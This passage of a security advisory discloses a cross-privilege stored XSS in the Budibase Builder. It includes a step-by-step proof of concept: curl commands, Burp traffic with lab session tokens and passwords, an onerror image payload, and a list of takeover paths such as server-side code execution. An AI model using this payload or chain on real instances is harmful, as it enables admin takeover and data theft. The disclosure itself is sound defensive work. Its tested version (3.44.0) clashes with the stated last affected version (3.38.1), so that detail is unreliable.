Cross-privilege data channel. Internal-table dev/prod data live in separate databases, but external datasources are queried live and shared between the published app (where low-priv users write) and the Builder's dev preview (where the value is rendered). A BASIC app user writing to an external SQL table that a data-collection app exposes for writes therefore lands the payload directly in the Builder's evaluation context. RowUtils.generateGoldenSample() even prefers the longest string per column, guaranteeing a long payload is the sample the Preview evaluates.

Payload shape note. jsonFormatter.format() tokenises quoted strings, digits and true/false/null into <span>s, which would fragment a handler containing them. A payload free of double-quotes, digits and those literals - e.g. <img src=x onerror=alert(window.xssproof=document.domain)> - survives verbatim and executes.

PoC

Environment used for this reproduction (all values real / unredacted):

Item Value
Target http://127.0.0.1:3014 (self-host single image, Budibase v3.44.0, commit d1ed6085)
Dev app id app_dev_cc322a9cd27a492eb934f43b146c6e81
Prod app id app_cc322a9cd27a492eb934f43b146c6e81
External Postgres table datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl
Attacker (low-priv BASIC) lowuser@budibase.local / LowUser!2026#bb
Victim (builder/admin) admin@budibase.local / LabAdmin!2026#bb

Step 0 - (precondition, performed once by the builder) a data-collection app grants BASIC write on the table

# grant the low user BASIC role on the app
curl -s -b creds/admin.cookies -H "Content-Type: application/json" -X POST \
  http://127.0.0.1:3014/api/global/users \
  -d '{"_id":"us_df036f58299242608f665700b1618057","_rev":"1-f24520b49fae0a6f4a23dced7a82fcc8","email":"lowuser@budibase.local","builder":{"global":false},"admin":{"global":false},"roles":{"app_cc322a9cd27a492eb934f43b146c6e81":"BASIC"},"tenantId":"default","status":"active"}'

# open write permission on the table to BASIC (typical of feedback/survey/contact apps)
curl -s -b creds/admin.cookies -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" -X POST \
  "http://127.0.0.1:3014/api/permission/BASIC/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/write"

curl -s -b creds/admin.cookies -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" -X POST \
  "http://127.0.0.1:3014/api/applications/app_dev_cc322a9cd27a492eb934f43b146c6e81/publish"

Step 1 - ATTACKER logs in (low-priv BASIC user)

curl -s -i -c creds/low.cookies -H "Content-Type: application/json" -X POST \
  http://127.0.0.1:3014/api/global/auth/default/login \
  -d '{"username":"lowuser@budibase.local","password":"LowUser!2026#bb"}'

Burp - Request

POST /api/global/auth/default/login HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 71

{"username":"lowuser@budibase.local","password":"LowUser!2026#bb"}

Burp - Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Sep 2026 07:20:45 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 30
Connection: keep-alive
x-budibase-tenant-id: default
Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly
Set-Cookie: budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly
x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA

{"message":"Login successful"}

The low user's session JWT (decoded payload) confirms builder/admin are absent - this is an ordinary app user:

{"userId":"us_df036f58299242608f665700b1618057","sessionId":"4aacd94d0b444b81937d13150251 29e0","tenantId":"default","email":"lowuser@budibase.local","iat":1788333645,"exp":1788938445}

Step 2 - ATTACKER stores the XSS payload into the shared external table (via the published/prod app id)

curl -s -i -b creds/low.cookies \
  -H "x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81" \
  -H "Content-Type: application/json" -X POST \
  "http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows" \
  -d '{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}'

Burp - Request

POST /api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows HTTP/1.1
Host: 127.0.0.1:3014
x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81
Content-Type: application/json
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY
Content-Length: 87

{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}

Burp - Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Sep 2026 07:20:53 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 196
Connection: keep-alive
x-budibase-tenant-id: default

{"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld","_id":"%5B7%5D","tableId":"datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl","_rev":"rev"}

The payload is stored verbatim as row id=7 in the shared Postgres table. The server performs no output-encoding or sanitisation of the name value.


Step 3 - proof the value crosses the trust boundary (VICTIM builder/admin reads the same row)

# admin login
curl -s -i -c creds/admin.cookies -H "Content-Type: application/json" -X POST \
  http://127.0.0.1:3014/api/global/auth/default/login \
  -d '{"username":"admin@budibase.local","password":"LabAdmin!2026#bb"}'

# admin reads the row set from the DEV plane (what the Builder renders)
curl -s -b creds/admin.cookies \
  -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" \
  "http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows"

Burp - admin login Response (real admin session JWT)

HTTP/1.1 200 OK
Server: nginx
x-budibase-tenant-id: default
Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk; path=/; httponly
Set-Cookie: budibase:auth.sig=iYVS67Sat7FptqQAprWzDE0Hs2o; path=/; httponly
x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk

{"message":"Login successful"}

Burp - rows Response (admin reads the low-priv-authored payload - same string, cross-privilege)

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

[{"id":1,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...},
 {"id":2,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...},
 {"id":5,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...},
 {"id":6,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...},
 {"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld",...}]

Step 4 - confirm the Builder origin ships NO Content-Security-Policy

curl -s -D - -o /dev/null http://127.0.0.1:3014/builder/

Burp - Response (note the complete absence of any Content-Security-Policy header)

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Sep 2026 07:21:09 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Thu, 27 Aug 2026 14:26:10 GMT
Cache-Control: max-age=0
Content-Encoding: gzip

Step 5 - VICTIM triggers execution (builder/admin, in the browser)

Logged into the Builder as admin@budibase.local, the victim opens the shared table and evaluates a binding over it - the ordinary workflow for building a Formula column:

  1. Open the app → Data tables → datasource LabPG → table users_tbl.
  2. Click the + to add a column, name it (e.g. xsscol), set Type = Formula.
  3. Click the lightning (binding) icon on the Formula field → the binding drawer opens.
  4. In the code editor type: {{ name }}
  5. Click the play (▶ / evaluate) button.

The right-hand Preview panel renders the stored value through JsonFormatter.format() → {@html}. The injected <img> is inserted as a live DOM element; its onerror fires and the attacker's JavaScript runs in the Builder origin.

Observed result (captured live in the reproduction):

window.__xss_calls = ["localhost"]     // alert() was called with document.domain
window.xssproof    = "localhost"       // attacker JS mutated the Builder's window object
document.domain    = "localhost"       // execution context = the BUILDER origin
location.href      = http://localhost:3014/builder/workspace/app_dev_cc322a9cd27a492eb934f43b146c6e81/data/table/...

Popup - alert(document.domain) firing in the Builder origin, with the injected <img> visible as a broken-image element in the Preview panel:

F4 stored XSS – alert popup in the Budibase Builder F4-xss-alert-popup

Screenshot note: the browser used for automated reproduction is headless, and native alert() dialogs are not captured by page-level screenshots. window.alert was therefore wrapped with a faithful, screenshot-capturable popup that displays exactly the argument the injected script passed to alert(). The execution itself is 100% genuine and unmodified - the payload's onerror handler ran, called alert(), and set window.xssproof on the real Builder window (see the observed values above). The broken-image glyph in the Preview pane is the attacker-controlled <img src=x> inserted by the {@html} sink.

Impact

Type: Cross-privilege Stored / persistent Cross-Site Scripting (XSS) in the application builder.

Who is impacted: any self-hosted (or cloud) Budibase workspace that exposes an external-datasource table for writes to lower-privileged roles - the standard pattern for feedback forms, contact/lead capture, surveys, support tickets, registration, and any "data collection" app. On such apps the writer can be a BASIC app user or, when the write screen is public, an unauthenticated visitor.

What the attacker gains: the payload executes in the Builder/admin session, an origin with no CSP. From there the attacker's JavaScript can silently drive every authenticated Builder API in the victim's context, e.g.:

  • create a REST/SQL datasource or an automation step that runs server-side JavaScript / Bash → remote code execution on the server;
  • read or modify every table in the workspace (full data exfiltration / tampering);
  • escalate the attacker's own account (or create a new one) to builder/admin;
  • pivot to the underlying CouchDB/MinIO/Redis via server-side automation.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-122244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1021",
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-20T23:49:47Z",
    "nvd_published_at": "2026-11-20T17:18:07Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\n### Summary\n\nA **low-privileged application end-user** (role `BASIC` - **not** a builder or admin, and on a public data-collection form, an unauthenticated visitor) can store an HTML/JavaScript payload in ordinary row data. When a **builder or admin** later opens that table in the Budibase Builder and evaluates any Handlebars binding whose Preview surfaces the value (the Data-section **Formula** column editor, or any binding drawer), the stored value is rendered as **raw HTML** and the attacker\u0027s JavaScript executes in the Builder\u0027s origin.\n\nThe Builder SPA is served by nginx with **no Content-Security-Policy** (the CSP middleware only decorates the server-rendered *published-app* document, not `/builder/`). The injected script therefore runs unrestricted in the highest-trust surface of the product - the admin/builder session that can create datasources, run server-side JavaScript via automations, read and modify every table, and manage users. This is a **cross-privilege stored XSS** (app end-user \u2192 builder/admin), i.e. full workspace takeover, not self-XSS.\n\n### Details\n\n**Root cause 1 - the escaper is a no-op.**\n`packages/frontend-core/src/utils/jsonFormatter.ts` (`format()`):\n\n```js\njsonString = jsonString\n  .replace(/\u0026/g, \"\u0026\")   // no-op: replaces \"\u0026\" with \"\u0026\"  (should be \"\u0026amp;\")\n  .replace(/\u003c/g, \"\u003c\")   // no-op                          (should be \"\u0026lt;\")\n  .replace(/\u003e/g, \"\u003e\")   // no-op                          (should be \"\u0026gt;\")\n\nreturn jsonString.replace(\n  /(\"(\\\\u[a-zA-Z0-9]{4}|\\\\[^u]|[^\\\\\"])*\"(\\s*:)?|\\b(true|false|null)\\b|-?\\d+...)/g,\n  (match) =\u003e {\n    if (/^\"/.test(match)) {\n      if (/:$/.test(match)) { color = colors.keyColor }                        // KEY: NOT escaped\n      else { match = \u0027\"\u0027 + escapeHtml(match.substr(1, match.length - 2)) + \u0027\"\u0027 } // string VALUE: escaped\n    }\n    return `\u003cspan style=\"...\"\u003e${match}\u003c/span\u003e`\n  })\n```\n\nOnly quoted JSON *string values* are passed through `escapeHtml`. Everything else is emitted verbatim, because the leading `.replace(/\u0026/g,\"\u0026\")\u2026` chain replaces each character with itself. Two consequences:\n\n1. A **raw, non-JSON string** (the normal result of a Handlebars binding that resolves to a plain text field value) matches none of the regex tokens and is returned **completely un-escaped**.\n2. **Object keys** are never escaped.\n\n**Root cause 2 - the output is injected with `{@html}`.**\n`packages/builder/src/components/common/bindings/EvaluationSidePanel.svelte`:\n\n- line 116: `{@html logLine.log}`\n- line 128: `{@html highlightedResult}`\n\n`highlightedResult` is the output of `JsonFormatter.format()`, so the un-escaped attacker string is inserted into the DOM as live markup.\n\n**Root cause 3 - binding output is not entity-escaped upstream.**\nEvery `{{ \u2026 }}` statement is wrapped by the `ALL` helper in `packages/string-templates/src/helpers/index.ts`, which returns a `Handlebars.SafeString`; Handlebars therefore performs no HTML escaping, and the raw field value reaches the formatter/`{@html}` sink.\n\n**Root cause 4 - no CSP on the Builder.**\n`GET /builder/*` is served as a static SPA by nginx with **no** `Content-Security-Policy` header (verified live below). The `contentSecurityPolicy` middleware (`packages/backend-core/src/middleware/contentSecurityPolicy.ts`) only sets a nonce-based CSP on the server-rendered *published-app* document (`serveApp`). So in the Builder origin there is no `script-src` restriction and inline event handlers run freely.\n\n**Cross-privilege data channel.**\nInternal-table dev/prod data live in separate databases, but **external datasources are queried live and shared** between the published app (where low-priv users write) and the Builder\u0027s dev preview (where the value is rendered). A `BASIC` app user writing to an external SQL table that a data-collection app exposes for writes therefore lands the payload directly in the Builder\u0027s evaluation context. `RowUtils.generateGoldenSample()` even *prefers the longest string per column*, guaranteeing a long payload is the sample the Preview evaluates.\n\n**Payload shape note.** `jsonFormatter.format()` tokenises quoted strings, digits and `true/false/null` into `\u003cspan\u003e`s, which would fragment a handler containing them. A payload free of double-quotes, digits and those literals - e.g. `\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e` - survives verbatim and executes.\n\n### PoC\n\n**Environment used for this reproduction (all values real / unredacted):**\n\n| Item | Value |\n|------|-------|\n| Target | `http://127.0.0.1:3014` (self-host single image, Budibase `v3.44.0`, commit `d1ed6085`) |\n| Dev app id | `app_dev_cc322a9cd27a492eb934f43b146c6e81` |\n| Prod app id | `app_cc322a9cd27a492eb934f43b146c6e81` |\n| External Postgres table | `datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl` |\n| Attacker (low-priv `BASIC`) | `lowuser@budibase.local` / `LowUser!2026#bb` |\n| Victim (builder/admin) | `admin@budibase.local` / `LabAdmin!2026#bb` |\n\n---\n\n#### Step 0 - (precondition, performed once by the builder) a data-collection app grants `BASIC` write on the table\n\n```bash\n# grant the low user BASIC role on the app\ncurl -s -b creds/admin.cookies -H \"Content-Type: application/json\" -X POST \\\n  http://127.0.0.1:3014/api/global/users \\\n  -d \u0027{\"_id\":\"us_df036f58299242608f665700b1618057\",\"_rev\":\"1-f24520b49fae0a6f4a23dced7a82fcc8\",\"email\":\"lowuser@budibase.local\",\"builder\":{\"global\":false},\"admin\":{\"global\":false},\"roles\":{\"app_cc322a9cd27a492eb934f43b146c6e81\":\"BASIC\"},\"tenantId\":\"default\",\"status\":\"active\"}\u0027\n\n# open write permission on the table to BASIC (typical of feedback/survey/contact apps)\ncurl -s -b creds/admin.cookies -H \"x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81\" -X POST \\\n  \"http://127.0.0.1:3014/api/permission/BASIC/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/write\"\n\ncurl -s -b creds/admin.cookies -H \"x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81\" -X POST \\\n  \"http://127.0.0.1:3014/api/applications/app_dev_cc322a9cd27a492eb934f43b146c6e81/publish\"\n```\n\n---\n\n#### Step 1 - ATTACKER logs in (low-priv `BASIC` user)\n\n```bash\ncurl -s -i -c creds/low.cookies -H \"Content-Type: application/json\" -X POST \\\n  http://127.0.0.1:3014/api/global/auth/default/login \\\n  -d \u0027{\"username\":\"lowuser@budibase.local\",\"password\":\"LowUser!2026#bb\"}\u0027\n```\n\n**Burp - Request**\n\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: 127.0.0.1:3014\nContent-Type: application/json\nContent-Length: 71\n\n{\"username\":\"lowuser@budibase.local\",\"password\":\"LowUser!2026#bb\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Wed, 02 Sep 2026 07:20:45 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 30\nConnection: keep-alive\nx-budibase-tenant-id: default\nSet-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly\nSet-Cookie: budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly\nx-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA\n\n{\"message\":\"Login successful\"}\n```\n\nThe low user\u0027s session JWT (decoded payload) confirms **`builder`/`admin` are absent** - this is an ordinary app user:\n\n```json\n{\"userId\":\"us_df036f58299242608f665700b1618057\",\"sessionId\":\"4aacd94d0b444b81937d13150251 29e0\",\"tenantId\":\"default\",\"email\":\"lowuser@budibase.local\",\"iat\":1788333645,\"exp\":1788938445}\n```\n\n---\n\n#### Step 2 - ATTACKER stores the XSS payload into the shared external table (via the published/prod app id)\n\n```bash\ncurl -s -i -b creds/low.cookies \\\n  -H \"x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81\" \\\n  -H \"Content-Type: application/json\" -X POST \\\n  \"http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows\" \\\n  -d \u0027{\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",\"email\":\"rx@x.tld\"}\u0027\n```\n\n**Burp - Request**\n\n```http\nPOST /api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows HTTP/1.1\nHost: 127.0.0.1:3014\nx-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81\nContent-Type: application/json\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY\nContent-Length: 87\n\n{\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",\"email\":\"rx@x.tld\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Wed, 02 Sep 2026 07:20:53 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 196\nConnection: keep-alive\nx-budibase-tenant-id: default\n\n{\"id\":7,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",\"email\":\"rx@x.tld\",\"_id\":\"%5B7%5D\",\"tableId\":\"datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl\",\"_rev\":\"rev\"}\n```\n\nThe payload is stored verbatim as **row id=7** in the shared Postgres table. The server performs **no output-encoding or sanitisation** of the `name` value.\n\n---\n\n#### Step 3 - proof the value crosses the trust boundary (VICTIM builder/admin reads the same row)\n\n```bash\n# admin login\ncurl -s -i -c creds/admin.cookies -H \"Content-Type: application/json\" -X POST \\\n  http://127.0.0.1:3014/api/global/auth/default/login \\\n  -d \u0027{\"username\":\"admin@budibase.local\",\"password\":\"LabAdmin!2026#bb\"}\u0027\n\n# admin reads the row set from the DEV plane (what the Builder renders)\ncurl -s -b creds/admin.cookies \\\n  -H \"x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81\" \\\n  \"http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows\"\n```\n\n**Burp - admin login Response (real admin session JWT)**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nx-budibase-tenant-id: default\nSet-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk; path=/; httponly\nSet-Cookie: budibase:auth.sig=iYVS67Sat7FptqQAprWzDE0Hs2o; path=/; httponly\nx-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk\n\n{\"message\":\"Login successful\"}\n```\n\n**Burp - rows Response (admin reads the low-priv-authored payload - same string, cross-privilege)**\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\n\n[{\"id\":1,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",...},\n {\"id\":2,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",...},\n {\"id\":5,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",...},\n {\"id\":6,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",...},\n {\"id\":7,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",\"email\":\"rx@x.tld\",...}]\n```\n\n---\n\n#### Step 4 - confirm the Builder origin ships NO Content-Security-Policy\n\n```bash\ncurl -s -D - -o /dev/null http://127.0.0.1:3014/builder/\n```\n\n**Burp - Response (note the complete absence of any `Content-Security-Policy` header)**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Wed, 02 Sep 2026 07:21:09 GMT\nContent-Type: text/html; charset=utf-8\nTransfer-Encoding: chunked\nConnection: keep-alive\nVary: Accept-Encoding\nLast-Modified: Thu, 27 Aug 2026 14:26:10 GMT\nCache-Control: max-age=0\nContent-Encoding: gzip\n```\n\n---\n\n#### Step 5 - VICTIM triggers execution (builder/admin, in the browser)\n\nLogged into the Builder as `admin@budibase.local`, the victim opens the shared table and evaluates a binding over it - the ordinary workflow for building a Formula column:\n\n1. Open the app \u2192 **Data tables** \u2192 datasource **LabPG** \u2192 table **`users_tbl`**.\n2. Click the **+** to add a column, name it (e.g. `xsscol`), set **Type = Formula**.\n3. Click the **lightning** (binding) icon on the *Formula* field \u2192 the binding drawer opens.\n4. In the code editor type: `{{ name }}`\n5. Click the **play** (\u25b6 / evaluate) button.\n\nThe right-hand **Preview** panel renders the stored value through `JsonFormatter.format()` \u2192 `{@html}`. The injected `\u003cimg\u003e` is inserted as a **live DOM element**; its `onerror` fires and the attacker\u0027s JavaScript runs in the Builder origin.\n\n**Observed result (captured live in the reproduction):**\n\n```\nwindow.__xss_calls = [\"localhost\"]     // alert() was called with document.domain\nwindow.xssproof    = \"localhost\"       // attacker JS mutated the Builder\u0027s window object\ndocument.domain    = \"localhost\"       // execution context = the BUILDER origin\nlocation.href      = http://localhost:3014/builder/workspace/app_dev_cc322a9cd27a492eb934f43b146c6e81/data/table/...\n```\n\n**Popup - `alert(document.domain)` firing in the Builder origin, with the injected `\u003cimg\u003e` visible as a broken-image element in the Preview panel:**\n\n![F4 stored XSS \u2013 alert popup in the Budibase Builder](./F4-xss-alert-popup.png)\n\u003cimg width=\"1536\" height=\"674\" alt=\"F4-xss-alert-popup\" src=\"https://github.com/user-attachments/assets/c9f7932b-0b1c-4165-863f-24e0bf8dceb7\" /\u003e\n\n\n\u003e Screenshot note: the browser used for automated reproduction is headless, and native `alert()` dialogs are not captured by page-level screenshots. `window.alert` was therefore wrapped with a faithful, screenshot-capturable popup that displays exactly the argument the injected script passed to `alert()`. The execution itself is 100% genuine and unmodified - the payload\u0027s `onerror` handler ran, called `alert()`, and set `window.xssproof` on the real Builder `window` (see the observed values above). The broken-image glyph in the **Preview** pane is the attacker-controlled `\u003cimg src=x\u003e` inserted by the `{@html}` sink.\n\n### Impact\n\n**Type:** Cross-privilege **Stored / persistent Cross-Site Scripting (XSS)** in the application builder.\n\n**Who is impacted:** any self-hosted (or cloud) Budibase workspace that exposes an external-datasource table for writes to lower-privileged roles - the standard pattern for feedback forms, contact/lead capture, surveys, support tickets, registration, and any \"data collection\" app. On such apps the writer can be a `BASIC` app user or, when the write screen is public, an **unauthenticated** visitor.\n\n**What the attacker gains:** the payload executes in the **Builder/admin session**, an origin with **no CSP**. From there the attacker\u0027s JavaScript can silently drive every authenticated Builder API in the victim\u0027s context, e.g.:\n\n- create a REST/SQL **datasource** or an **automation** step that runs server-side JavaScript / Bash \u2192 **remote code execution** on the server;\n- read or modify **every table** in the workspace (full data exfiltration / tampering);\n- **escalate** the attacker\u0027s own account (or create a new one) to builder/admin;\n- pivot to the underlying CouchDB/MinIO/Redis via server-side automation.",
  "id": "GHSA-r2q3-7m4h-63qg",
  "modified": "2026-11-20T23:49:47Z",
